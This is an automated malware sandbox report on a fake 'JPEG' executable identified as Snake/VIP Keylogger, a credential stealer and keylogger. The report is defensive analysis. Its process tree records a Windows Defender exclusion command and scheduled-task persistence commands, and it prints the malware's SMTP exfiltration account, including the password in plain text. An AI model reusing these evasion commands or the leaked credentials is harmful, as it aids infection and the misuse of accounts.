Edit tour

Windows Analysis Report
Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Overview

General Information

Sample name:	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
Analysis ID:	1541880
MD5:	52f14c343d0b2ec1426e775c6b6569ff
SHA1:	5c61b57a86c14de578f2425773f190da35be62e2
SHA256:	5994cf17202884f994b3e294fca7cd9c2847b6c98a0bdb5e65cf164f830197a9
Tags:	exeMassLoggeruser-lowmal3
Infos:

Detection

Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Yara detected AntiVM3

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

.NET source code contains potential unpacker

.NET source code contains very large array initializations

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Contains functionality to capture screen (.Net source)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe (PID: 5824 cmdline: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe" MD5: 52F14C343D0B2EC1426E775C6B6569FF)

powershell.exe (PID: 4268 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7200 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 4548 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe (PID: 1260 cmdline: "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe" MD5: 52F14C343D0B2EC1426E775C6B6569FF)

HJnkiZjAPsec.exe (PID: 7260 cmdline: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe MD5: 52F14C343D0B2EC1426E775C6B6569FF)

schtasks.exe (PID: 7400 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HJnkiZjAPsec.exe (PID: 7448 cmdline: "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe" MD5: 52F14C343D0B2EC1426E775C6B6569FF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "skisubi@kafs.co.ug", "Password": "B24AM5D9X9F3ZPN", "Host": "mail.kafs.co.ug", "Port": "587"}

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "skisubi@kafs.co.ug", "Password": "B24AM5D9X9F3ZPN", "Host": "mail.kafs.co.ug", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000B.00000002.4128482963.0000000000432000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000B.00000002.4132447999.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.4132369730.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.4132369730.0000000002E09000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.4132447999.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000008.00000002.1781171636.00000000046A7000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xbd049:$a1: get_encryptedPassword 0xffa69:$a1: get_encryptedPassword 0x142289:$a1: get_encryptedPassword 0xbd5f5:$a2: get_encryptedUsername 0x100015:$a2: get_encryptedUsername 0x142835:$a2: get_encryptedUsername 0xbccae:$a3: get_timePasswordChanged 0xff6ce:$a3: get_timePasswordChanged 0x141eee:$a3: get_timePasswordChanged 0xbcdd3:$a4: get_passwordField 0xff7f3:$a4: get_passwordField 0x142013:$a4: get_passwordField 0xbd05f:$a5: set_encryptedPassword 0xffa7f:$a5: set_encryptedPassword 0x14229f:$a5: set_encryptedPassword 0xbfdb9:$a6: get_passwords 0x1027d9:$a6: get_passwords 0x144ff9:$a6: get_passwords 0xc0164:$a7: get_logins 0x102b84:$a7: get_logins 0x1453a4:$a7: get_logins
00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1733478686.0000000004A46000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35dda9:$a1: get_encryptedPassword 0x3a07c9:$a1: get_encryptedPassword 0x3e2fe9:$a1: get_encryptedPassword 0x35e355:$a2: get_encryptedUsername 0x3a0d75:$a2: get_encryptedUsername 0x3e3595:$a2: get_encryptedUsername 0x35da0e:$a3: get_timePasswordChanged 0x3a042e:$a3: get_timePasswordChanged 0x3e2c4e:$a3: get_timePasswordChanged 0x35db33:$a4: get_passwordField 0x3a0553:$a4: get_passwordField 0x3e2d73:$a4: get_passwordField 0x35ddbf:$a5: set_encryptedPassword 0x3a07df:$a5: set_encryptedPassword 0x3e2fff:$a5: set_encryptedPassword 0x360b19:$a6: get_passwords 0x3a3539:$a6: get_passwords 0x3e5d59:$a6: get_passwords 0x360ec4:$a7: get_logins 0x3a38e4:$a7: get_logins 0x3e6104:$a7: get_logins
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 5824	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x58619:$a1: get_encryptedPassword 0x58ae2:$a2: get_encryptedUsername 0x582a0:$a3: get_timePasswordChanged 0x583b9:$a4: get_passwordField 0x5862f:$a5: set_encryptedPassword 0x5aeb2:$a6: get_passwords 0x5b1a0:$a7: get_logins 0x5ae9e:$a8: GetOutlookPasswords 0x5a8e0:$a9: StartKeylogger 0x5b0f7:$a10: KeyLoggerEventArgs 0x5a980:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 1260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe PID: 1260	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7260	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7260	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7260	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7260	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7260	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x838b:$a1: get_encryptedPassword 0x892d:$a2: get_encryptedUsername 0x7fff:$a3: get_timePasswordChanged 0x8124:$a4: get_passwordField 0x83a1:$a5: set_encryptedPassword 0xb0a3:$a6: get_passwords 0xb44a:$a7: get_logins 0xb08f:$a8: GetOutlookPasswords 0xaa48:$a9: StartKeylogger 0xb38c:$a10: KeyLoggerEventArgs 0xaae8:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: HJnkiZjAPsec.exe PID: 7448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7448	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: HJnkiZjAPsec.exe PID: 7448	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 26 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ad12:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a3b5:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a612:$a4: \Orbitum\User Data\Default\Login Data 0x3aff1:$a5: \Kometa\User Data\Default\Login Data
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b859:$a1: get_encryptedPassword 0x2be05:$a2: get_encryptedUsername 0x2b4be:$a3: get_timePasswordChanged 0x2b5e3:$a4: get_passwordField 0x2b86f:$a5: set_encryptedPassword 0x2e5c9:$a6: get_passwords 0x2e974:$a7: get_logins 0x2e5b5:$a8: GetOutlookPasswords 0x2df6e:$a9: StartKeylogger 0x2e8b6:$a10: KeyLoggerEventArgs 0x2e00e:$a11: KeyLoggerEventArgsEventHandler
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x38f12:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x385b5:$a3: \Google\Chrome\User Data\Default\Login Data 0x38812:$a4: \Orbitum\User Data\Default\Login Data 0x391f1:$a5: \Kometa\User Data\Default\Login Data
8.2.HJnkiZjAPsec.exe.47369f0.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cc47:$s1: UnHook 0x2cc4e:$s2: SetHook 0x2cc56:$s3: CallNextHook 0x2cc63:$s4: _hook
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b859:$a1: get_encryptedPassword 0x2be05:$a2: get_encryptedUsername 0x2b4be:$a3: get_timePasswordChanged 0x2b5e3:$a4: get_passwordField 0x2b86f:$a5: set_encryptedPassword 0x2e5c9:$a6: get_passwords 0x2e974:$a7: get_logins 0x2e5b5:$a8: GetOutlookPasswords 0x2df6e:$a9: StartKeylogger 0x2e8b6:$a10: KeyLoggerEventArgs 0x2e00e:$a11: KeyLoggerEventArgsEventHandler
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2b859:$a1: get_encryptedPassword 0x2be05:$a2: get_encryptedUsername 0x2b4be:$a3: get_timePasswordChanged 0x2b5e3:$a4: get_passwordField 0x2b86f:$a5: set_encryptedPassword 0x2e5c9:$a6: get_passwords 0x2e974:$a7: get_logins 0x2e5b5:$a8: GetOutlookPasswords 0x2df6e:$a9: StartKeylogger 0x2e8b6:$a10: KeyLoggerEventArgs 0x2e00e:$a11: KeyLoggerEventArgsEventHandler
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x38f12:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x385b5:$a3: \Google\Chrome\User Data\Default\Login Data 0x38812:$a4: \Orbitum\User Data\Default\Login Data 0x391f1:$a5: \Kometa\User Data\Default\Login Data
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x38f12:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x385b5:$a3: \Google\Chrome\User Data\Default\Login Data 0x38812:$a4: \Orbitum\User Data\Default\Login Data 0x391f1:$a5: \Kometa\User Data\Default\Login Data
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cc47:$s1: UnHook 0x2cc4e:$s2: SetHook 0x2cc56:$s3: CallNextHook 0x2cc63:$s4: _hook
8.2.HJnkiZjAPsec.exe.4779410.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2cc47:$s1: UnHook 0x2cc4e:$s2: SetHook 0x2cc56:$s3: CallNextHook 0x2cc63:$s4: _hook
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d659:$a1: get_encryptedPassword 0x70079:$a1: get_encryptedPassword 0xb2899:$a1: get_encryptedPassword 0x2dc05:$a2: get_encryptedUsername 0x70625:$a2: get_encryptedUsername 0xb2e45:$a2: get_encryptedUsername 0x2d2be:$a3: get_timePasswordChanged 0x6fcde:$a3: get_timePasswordChanged 0xb24fe:$a3: get_timePasswordChanged 0x2d3e3:$a4: get_passwordField 0x6fe03:$a4: get_passwordField 0xb2623:$a4: get_passwordField 0x2d66f:$a5: set_encryptedPassword 0x7008f:$a5: set_encryptedPassword 0xb28af:$a5: set_encryptedPassword 0x303c9:$a6: get_passwords 0x72de9:$a6: get_passwords 0xb5609:$a6: get_passwords 0x30774:$a7: get_logins 0x73194:$a7: get_logins 0xb59b4:$a7: get_logins
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3ad12:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x7d732:$a2: \Comodo\Dragon\User Data\Default\Login Data 0xbff52:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3a3b5:$a3: \Google\Chrome\User Data\Default\Login Data 0x7cdd5:$a3: \Google\Chrome\User Data\Default\Login Data 0xbf5f5:$a3: \Google\Chrome\User Data\Default\Login Data 0x3a612:$a4: \Orbitum\User Data\Default\Login Data 0x7d032:$a4: \Orbitum\User Data\Default\Login Data 0xbf852:$a4: \Orbitum\User Data\Default\Login Data 0x3aff1:$a5: \Kometa\User Data\Default\Login Data 0x7da11:$a5: \Kometa\User Data\Default\Login Data 0xc0231:$a5: \Kometa\User Data\Default\Login Data
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea47:$s1: UnHook 0x71467:$s1: UnHook 0xb3c87:$s1: UnHook 0x2ea4e:$s2: SetHook 0x7146e:$s2: SetHook 0xb3c8e:$s2: SetHook 0x2ea56:$s3: CallNextHook 0x71476:$s3: CallNextHook 0xb3c96:$s3: CallNextHook 0x2ea63:$s4: _hook 0x71483:$s4: _hook 0xb3ca3:$s4: _hook
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xb1a79:$a1: get_encryptedPassword 0xf4499:$a1: get_encryptedPassword 0x136cb9:$a1: get_encryptedPassword 0xb2025:$a2: get_encryptedUsername 0xf4a45:$a2: get_encryptedUsername 0x137265:$a2: get_encryptedUsername 0xb16de:$a3: get_timePasswordChanged 0xf40fe:$a3: get_timePasswordChanged 0x13691e:$a3: get_timePasswordChanged 0xb1803:$a4: get_passwordField 0xf4223:$a4: get_passwordField 0x136a43:$a4: get_passwordField 0xb1a8f:$a5: set_encryptedPassword 0xf44af:$a5: set_encryptedPassword 0x136ccf:$a5: set_encryptedPassword 0xb47e9:$a6: get_passwords 0xf7209:$a6: get_passwords 0x139a29:$a6: get_passwords 0xb4b94:$a7: get_logins 0xf75b4:$a7: get_logins 0x139dd4:$a7: get_logins
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4cf2330.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0xb2e67:$s1: UnHook 0xf5887:$s1: UnHook 0x1380a7:$s1: UnHook 0xb2e6e:$s2: SetHook 0xf588e:$s2: SetHook 0x1380ae:$s2: SetHook 0xb2e76:$s3: CallNextHook 0xf5896:$s3: CallNextHook 0x1380b6:$s3: CallNextHook 0xb2e83:$s4: _hook 0xf58a3:$s4: _hook 0x1380c3:$s4: _hook
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2d659:$a1: get_encryptedPassword 0x6fe79:$a1: get_encryptedPassword 0x2dc05:$a2: get_encryptedUsername 0x70425:$a2: get_encryptedUsername 0x2d2be:$a3: get_timePasswordChanged 0x6fade:$a3: get_timePasswordChanged 0x2d3e3:$a4: get_passwordField 0x6fc03:$a4: get_passwordField 0x2d66f:$a5: set_encryptedPassword 0x6fe8f:$a5: set_encryptedPassword 0x303c9:$a6: get_passwords 0x72be9:$a6: get_passwords 0x30774:$a7: get_logins 0x72f94:$a7: get_logins 0x303b5:$a8: GetOutlookPasswords 0x72bd5:$a8: GetOutlookPasswords 0x2fd6e:$a9: StartKeylogger 0x7258e:$a9: StartKeylogger 0x306b6:$a10: KeyLoggerEventArgs 0x72ed6:$a10: KeyLoggerEventArgs 0x2fe0e:$a11: KeyLoggerEventArgsEventHandler
8.2.HJnkiZjAPsec.exe.4779410.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2ea47:$s1: UnHook 0x71267:$s1: UnHook 0x2ea4e:$s2: SetHook 0x7126e:$s2: SetHook 0x2ea56:$s3: CallNextHook 0x71276:$s3: CallNextHook 0x2ea63:$s4: _hook 0x71283:$s4: _hook
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x135e99:$a1: get_encryptedPassword 0x1788b9:$a1: get_encryptedPassword 0x1bb0d9:$a1: get_encryptedPassword 0x136445:$a2: get_encryptedUsername 0x178e65:$a2: get_encryptedUsername 0x1bb685:$a2: get_encryptedUsername 0x135afe:$a3: get_timePasswordChanged 0x17851e:$a3: get_timePasswordChanged 0x1bad3e:$a3: get_timePasswordChanged 0x135c23:$a4: get_passwordField 0x178643:$a4: get_passwordField 0x1bae63:$a4: get_passwordField 0x135eaf:$a5: set_encryptedPassword 0x1788cf:$a5: set_encryptedPassword 0x1bb0ef:$a5: set_encryptedPassword 0x138c09:$a6: get_passwords 0x17b629:$a6: get_passwords 0x1bde49:$a6: get_passwords 0x138fb4:$a7: get_logins 0x17b9d4:$a7: get_logins 0x1be1f4:$a7: get_logins
0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x137287:$s1: UnHook 0x179ca7:$s1: UnHook 0x1bc4c7:$s1: UnHook 0x13728e:$s2: SetHook 0x179cae:$s2: SetHook 0x1bc4ce:$s2: SetHook 0x137296:$s3: CallNextHook 0x179cb6:$s3: CallNextHook 0x1bc4d6:$s3: CallNextHook 0x1372a3:$s4: _hook 0x179cc3:$s4: _hook 0x1bc4e3:$s4: _hook
8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
8.2.HJnkiZjAPsec.exe.47369f0.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
